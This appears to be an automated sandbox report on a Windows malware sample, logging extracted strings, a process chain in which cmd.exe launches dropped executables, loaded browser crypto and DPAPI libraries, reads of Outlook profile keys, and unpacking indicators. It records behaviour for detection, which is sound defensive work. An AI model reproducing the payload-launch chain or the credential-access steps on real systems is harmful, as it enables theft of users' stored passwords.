Source: ukuWaeRgPR.exe, 00000000.00000003.2051162529.0000000023761000.00000004.00000020.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000003.2030774820.0000000002073000.00000004.00000020.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000003.2051531924.00000000020E0000.00000004.00000020.00020000.00000000.sdmp, IIJKJDAFHJDHIEBGCFID.0.dr, DBAEGCGCGIEGDHIDHJJE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: ukuWaeRgPR.exe

ReversingLabs: Detection: 47%

Source: EHDHDHIECG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

File read: C:\Users\user\Desktop\ukuWaeRgPR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ukuWaeRgPR.exe "C:\Users\user\Desktop\ukuWaeRgPR.exe"
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EGCGHCBKFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe "C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe"
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EGCGHCBKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe "C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: ukuWaeRgPR.exe

Static file information: File size 2462720 > 1048576

Source: ukuWaeRgPR.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x216000

Source:	Binary string: mozglue.pdbP source: ukuWaeRgPR.exe, 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: ukuWaeRgPR.exe, 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Unpacked PE file: 0.2.ukuWaeRgPR.exe.c80000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Unpacked PE file: 6.2.EHDHDHIECG.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 9.2.explorti.exe.4a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.4a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 13.2.explorti.exe.4a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;avjczlwa:EW;sysspafc:EW;.taggant:EW;
